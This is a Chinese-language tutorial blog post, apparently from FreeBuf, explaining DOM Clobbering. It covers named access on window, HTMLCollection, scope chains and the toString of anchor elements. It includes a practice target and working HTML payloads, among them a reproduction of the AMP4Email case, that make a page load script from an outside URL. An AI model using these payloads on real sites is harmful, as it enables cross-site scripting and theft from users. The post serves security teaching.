一、背景概述
之前portswigger出DOM Clobbering文章的时候,没学会,就放弃了,今天看了九九师傅的分享,开启了我第二次的Dom Clobbering学习之路。
在说DOM Clobbering之前我们先了解下面几个小知识点
二、为什么id属性值可以被DOM直接调用
根据 HTML 规范中所说,拥有id 属性的任何元素,以及拥有name属性的embed元素、form元素、img元素,其属性值将作为 window 对象的属性,即属性值会作为全局变量代表对应元素(前提是在JavaScript上下文作用域内没有声明这个变量名)。
https://html.spec.whatwg.org/multipage/window-object.html#named-access-on-the-window-object
the value of the
name
content attribute for allembed
,form
,img
, andobject
elements that have a non-emptyname
content attribute and are in a document treewith window’s associatedDocument
as their root; andthe value of the
id
content attribute for all HTML elementsthat have a non-emptyid
content attribute and are in a document treewith window’s associatedDocument
as their root.
三、当出现两个id相同的元素时会怎样
MDN文档中这么描述id属性
id
全局属性定义了一个全文档唯一的标识符 (ID)。它用于在链接(使用片段)、脚本和样式(通过 CSS)中辨识元素。
但是事无绝对,先看一下当出现两个id属性值相同的元素时,使用第二节中所说的方法调用时,会出现什么
如图所示,在输入foo的时候,会返回一个HTMLCollection
类型的集\合。
HTMLCollection
接口表示一个包含了元素(元素顺序为文档流中的顺序)的通用集\合(generic collection),还提供了用来从该集\合中选择元素的方法和属性。
HTMLCollection 对象可以通过子元素的位置、 id属性值、name属性值来获取集\合中的子元素。
如上图所示,全局变量foo
表示input元素跟img元素的一个集\合,可以通过指定位置为0
,或者key为a
来获取foo集\合中的input元素。
另外除了刚才笔者提到的这种出现HTMLCollection的情况以外,document对象为了方便用户访问表单、图像、链接等元素创建了如下几个属性images
,applets
,links
,forms
,anchors
。
四、JavaScript是如何寻找变量的
作用域(Scope):JavaScript的作用域基于函数体,每一个函数就是一个作用域。
作用域链(Scope Chain):是内部上下文所有变量对象(包括父变量对象)的列表,JavaScript通过作用域链来查询变量。
搞不懂没有关系,直接看下面的例子
如下图所示:
apple函数是banana函数的父作用域
24行,在输出bar1变量时,在当前函数内可以直接找到,于是可以直接输出;
25行,在输出bar2变量时,在当前函数内无法找到,于是跳到父函数中寻找;
26行,在输出bar3变量时,在当前函数及父函数中都没有找到,于是去寻找全局变量。
通过作用域链寻找变量有点类似HTML中的样式,都是采用了就近原则。
现在结合一下第二节中提到的知识点
如图,当JavaScript全局作用域中没有bar1变量时,会根据id属性值创建bar1变量;全局作用域中有bar2变量时,则没有根据id属性值创建bar2变量。
五、JavaScript toString函数
开始之前先插一个小知识,在JavaScript中,当将非字符串类型的对象当作字符串使用时,会返回该对象的字符串形式,即自动调用该对象的toString
方法。
HTML元素相关的对象,在调用toString函数时,大多都是返回[object ObjectName]
,其中 ObjectName 是对象类型的名称。
如下图所示,将变量var_input
当作字符串拼接到Hello
后面时,返回的是[object HTMLInputElement]
不过有两个特殊的元素,a
元素和area
元素,这两个元素的toString()
指向href属性
的值。
https://html.spec.whatwg.org/#api-for-a-and-area-elements
五、动手写一个简单的靶机
两个文件:index.php、save.php
PHP相关的知识不在此文中进行讨论
UI如下所示
六、攻击这个靶机
假设:我们刚才写的是一个复杂的靶机,服务器杜绝用户输入如script
,不能使用on
开头的属性等等XSS相关的字符。
通过查看HTML页面的源代码可以看到,当存在flag变量时,会创建一个script元素,然后会将target变量的值赋值给script元素的src属性,最后添加到页面中。
首先我们需要先创建一个flag变量,然后再创建一个target变量,target变量只能是a元素跟area元素,然后将href属性值设置为我们存放Payload文件。
于是可以构造如下Payload
<input id="flag"><a id="target" href="https://www.teagle.top/poc/alert.js">
点击留言,便可触发
如上便是DOM Clobbering
七、看一个真实案例
简化后的JavaScript如下图所示,像极了我们刚才的那个靶机,创建script元素,然后将其他变量赋值给script元素的src属性。
只不过这次的赋值操作多了一些其他逻辑。
先看最关键的src属性赋值片段
1、从第21行可知,连接最左侧是loc变量,大家都知道当你可以控制一个绝对URL的最左侧部分时,就可以控制连接指向的主机了,所以关键就在于这个loc变量。比如我们可以将loc变量伪造为https://www.teagle.top/poc/alert.js#
,这样后面的字符串拼接都可以不用关心
2、第8-11行可知,必须要执行第9行的代码
3、第14-17行可知,必须要执行第15行的代码,否则便不可控了,所以说最开始的loc变量要保证是一个集\合的形式
于是构造如下Payload
<input type="" id="AMP_MODE">
<input type="" id="AMP_MODE" name="test">
<input type="" id="testLocation">
<input type="" id="AMP_MODE" name="localDev">
<a id="testLocation" name="protocol" href="https://www.teagle.top/poc/alert.js?">
<a id="testLocation" name="host" href="">
<input type="" id="AMP_MODE" name="singlePassType">
<input type="" id="AMP_MODE" name="singlePassType">
<input type="" id="AMP_MODE" name="rtvVersion">
<input type="" id="pluginName">
该案例可见:https://research.securitum.com/xss-in-amp4email-dom-clobbering/
八、参考文档
https://html.spec.whatwg.org/multipage/window-object.html
https://html.spec.whatwg.org/#api-for-a-and-area-elements
https://developer.mozilla.org/zh-CN/
https://portswigger.net/research/dom-clobbering-strikes-back
https://www.cnblogs.com/zhiyishou/p/4844928.html
最后打一个小广告,欢迎大家来关注我的公众号《楼兰学习网络安全》。
来源:freebuf.com 2021-03-16 19:25:57 by: TEag1e
请登录后发表评论
注册